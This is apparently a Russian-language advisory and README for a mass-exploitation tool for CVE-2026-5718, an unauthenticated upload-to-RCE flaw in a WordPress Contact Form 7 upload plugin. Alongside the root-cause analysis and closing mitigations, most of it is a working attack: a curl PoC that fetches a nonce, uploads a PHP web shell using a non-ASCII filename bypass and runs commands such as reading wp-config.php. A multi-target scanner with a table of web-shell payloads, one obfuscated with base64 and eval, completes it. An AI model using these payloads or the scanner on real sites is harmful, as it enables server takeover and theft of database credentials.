
CVE-2026-5718: Неаутентифицированная загрузка файлов до RCE в плагине DnD Upload CF7
CVE-2026-5718: Неаутентифицированная загрузка файла до RCE в плагине DnD Upload CF7
Плагин: Drag and Drop Multiple File Upload для Contact Form 7 Слаг плагина:
drag-and-drop-multiple-file-upload-contact-form-7ID CVE: CVE-2026-5718 Оценка CVSS: 8.1 (High) Вектор CVSS:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HТип уязвимости: Неаутентифицированная произвольная загрузка файлов → Удалённое выполнение кода Затронутые версии: <= 1.3.9.6 Исправленная версия: 1.3.9.7 Дата публикации: 17 апреля 2026 Исследователь: Leonid Semenenko (lsemenenko) — Wordfence
В плагине Drag and Drop Multiple File Upload для Contact Form 7 две независимых логических ошибки объединяются и позволяют неаутентифицированным злоумышленникам загружать PHP-веб-шеллы.
Разрушение чёрного списка: Специальная конфигурация чёрного списка полностью заменяет список опасных расширений по умолчанию вместо того, чтобы больше не блокируется.
phpОбход через Non-ASCII: Наличие non-ASCII символа в имени файла
предотвращает вызов функции wpcf7_antiscript_file_name().
Расширение .php сохраняется, и файл записывается на диск.
| Поле | Значение |
|---|---|
| Название плагина | Drag and Drop Multiple File Upload для CF7 |
| ID CVE | CVE-2026-5718 |
| Оценка CVSS | 8.1 (High) |
| Тип уязвимости | Неаутентифицированная произвольная загрузка файлов |
| Затронутая версия | <= 1.3.9.6 |
| Исправленная версия | 1.3.9.7 |
| Предварительное условие | В форме CF7 специальная конфигурация blacklist-types |
// inc/dnd-upload-cf7.php — строки 62–71
function dnd_wpcf7_nonce_check() {
// Единственная защита: проверка User-Agent на 'curl' — легко обходится
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Недействительный nonce → ВОЗВРАЩАЕТ НОВЫЙ NONCE
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
Действие wp_ajax_nopriv__wpcf7_check_nonce открыто для всех.
При отправке недействительного nonce новый nonce выдается бесплатно.
Использование User-Agent Mozilla обходит проверку curl.
// inc/dnd-upload-cf7.php — строки 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 опасных расширений: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ПРИСВАИВАНИЕ (=) — НЕ СЛИЯНИЕ
// Пользовательский список: только ['zip']
// 'php' теперь не в списке → принимается
}
Конфигурация тега формы, запускающая уязвимость:
[mfile upload-file filetypes="*" blacklist-types:zip]
Администратор хочет заблокировать ZIP → плагин удаляет весь список запрещённых по умолчанию.
Все опасные расширения, включая php, теперь принимаются.
Кроме того, в жёстко заданном списке для filetypes="*" также не хватает расширений:
// строка 927 — 'php', 'php3', 'php4', 'pht', 'phtml' ОТСУТСТВУЮТ
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — строки 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Вызывается только для pure-ASCII имён файлов
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ сделал бы shell.php → shell.php.txt — но блок пропускается
}
// Если есть non-ASCII символы, этот блок ПРОПУСКАЕТСЯ
// $filename = "shellシ.php" → расширение .php сохраняется
// dnd_cf7_check_ascii() — строки 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Изменяется только локальная копия, внешняя $filename НЕ ЗАТРАГИВАЕТСЯ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII символ → false → антискрипт пропускается
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (не curl) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce получен бесплатно │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce действителен ✓ │
│ ├── blacklist=['zip'] → 'php' не блокируется ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ПРОПУЩЕН ✓ │
│ └── move_uploaded_file("shellシ.php") → Записан на диск│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Неаутентифицированное RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Дисклеймер: Этот PoC предоставлен только для образовательных целей и защитных исследований безопасности. Используйте только на системах, которыми владеете или на тестирование которых имеете явное письменное разрешение.
Предварительные условия:
[mfile] с blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Ожидаемый ответ:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Катакана) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Ожидаемый ответ:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# команда id
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# чтение wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| Параметр | Сокращение | Описание | По умолчанию |
|---|---|---|---|
--url | -u | URL одиночной цели | — |
--list | -l | Файл со списком целей | — |
--threads | -t | Количество потоков | 10 |
--output | -o | Выходной файл | rce_results.txt |
--form-id | — | ID формы CF7 | автоматическое определение |
--field-name | — | Имя поля mfile | upload-file |
--shell-name | — | Имя файла шелла | shell |
--shell-type | — | Тип шелла | system |
--verify-cmd | — | Команда для проверки RCE | id |
--proxy | — | URL прокси | — |
--timeout | — | Тайм-аут запроса (сек) | 10 |
--force | — | Продолжить, даже если плагин не обнаружен | False |
| Тип | Полезная нагрузка | Описание |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Базовая системная команда |
passthru | <?php passthru($_GET["cmd"]); ?> | Сырой вывод |
exec | <?php echo exec($_GET["cmd"]); ?> | Тихий запуск |
assert | <?php assert($_POST["cmd"]); ?> | Выполнение через POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64-обфускация |
full | shell_exec + system + exec запасные | Полный охват |
Сканер пробует следующие символы по порядку:
| Символ | Unicode | Описание |
|---|---|---|
シ | U+30B7 | Катакана Si (использован в PoC) |
ж | U+0436 | Кириллица |
ñ | U+00F1 | Расширенная латиница |
中 | U+4E2D | CJK |
α | U+03B1 | Греческий |
ß | U+00DF | Немецкий |
Корень WordPress/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Шелл здесь
⚠️ Примечание: По умолчанию плагин удаляет файлы через 1 час. Шелл доступен в течение этого времени.
| Статус | Описание |
|---|---|
★ RCE OK | Шелл загружен + команда выполнена |
★ SHELL ALIVE | Шелл доступен, другой ответ |
~ EXEC_DISABLED | Шелл существует, exec() отключена |
~ HTACCESS | Шелл загружен, но блокируется .htaccess |
? UPLOADED | Загружен, но URL не найден |
- UPL_FAIL | Загрузка не удалась (исправлено/нет конфигурации) |
~ NO_NONCE | Не удалось получить nonce |
- NO_PLUGIN | Плагин не установлен |
~ UNREACH | Цель недоступна |
[*] Цель : http://hedef.com
[*] Form ID : автоматическое определение
[*] Тип шелла : system
[*] Команда пров.: id
[→] http://hedef.com Шаг 1/5: Получение nonce...
[→] http://hedef.com Шаг 2/5: Определение формы CF7...
[→] http://hedef.com Шаг 3/5: Загрузка шелла (обход non-ASCII)...
[→] http://hedef.com Шаг 4/5: Формирование URL шелла...
[→] http://hedef.com Шаг 5/5: Проверка RCE...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Версия : 1.3.9.6
Nonce : abc123def4 (источник: ajax_endpoint)
Non-ASCII : シ
URL шелла : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
Вывод RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Сохранено → rce_results.txt
| Мера | Реализация |
|---|---|
| Обновление плагина | Обновиться до версии 1.3.9.7+ |
| Слияние чёрного списка | Использовать array_merge() вместо = |
| Безусловный антискрипт | wpcf7_antiscript_file_name() должен вызываться всегда |
| Защита nonce | Nonce endpoint должен быть закрыт для публичного доступа |
| .htaccess | Запретить выполнение PHP в директории загрузок |
Безопасное слияние чёрного списка:
// Небезопасно (текущая — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Безопасно (рекомендовано — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
Безусловный антискрипт:
// Небезопасно (текущая)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Безопасно (рекомендовано)
$filename = wpcf7_antiscript_file_name( $filename ); // вызывать всегда
.htaccess для директории загрузок:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Основной сканер
├── requirements.txt # Зависимости
└── README.md # Этот файл
Этот инструмент и PoC предназначены исключительно для использования на авторизованных системах, в образовательных целях и в рамках пентеста. Использование на неавторизованных системах является преступлением в соответствии со статьями 243-245 Уголовного кодекса Турции и международными законами о киберпреступности. Разработчик не несёт никакой юридической ответственности за неправомерное использование инструмента.
Лицензия MIT — Только для образовательных и исследовательских целей.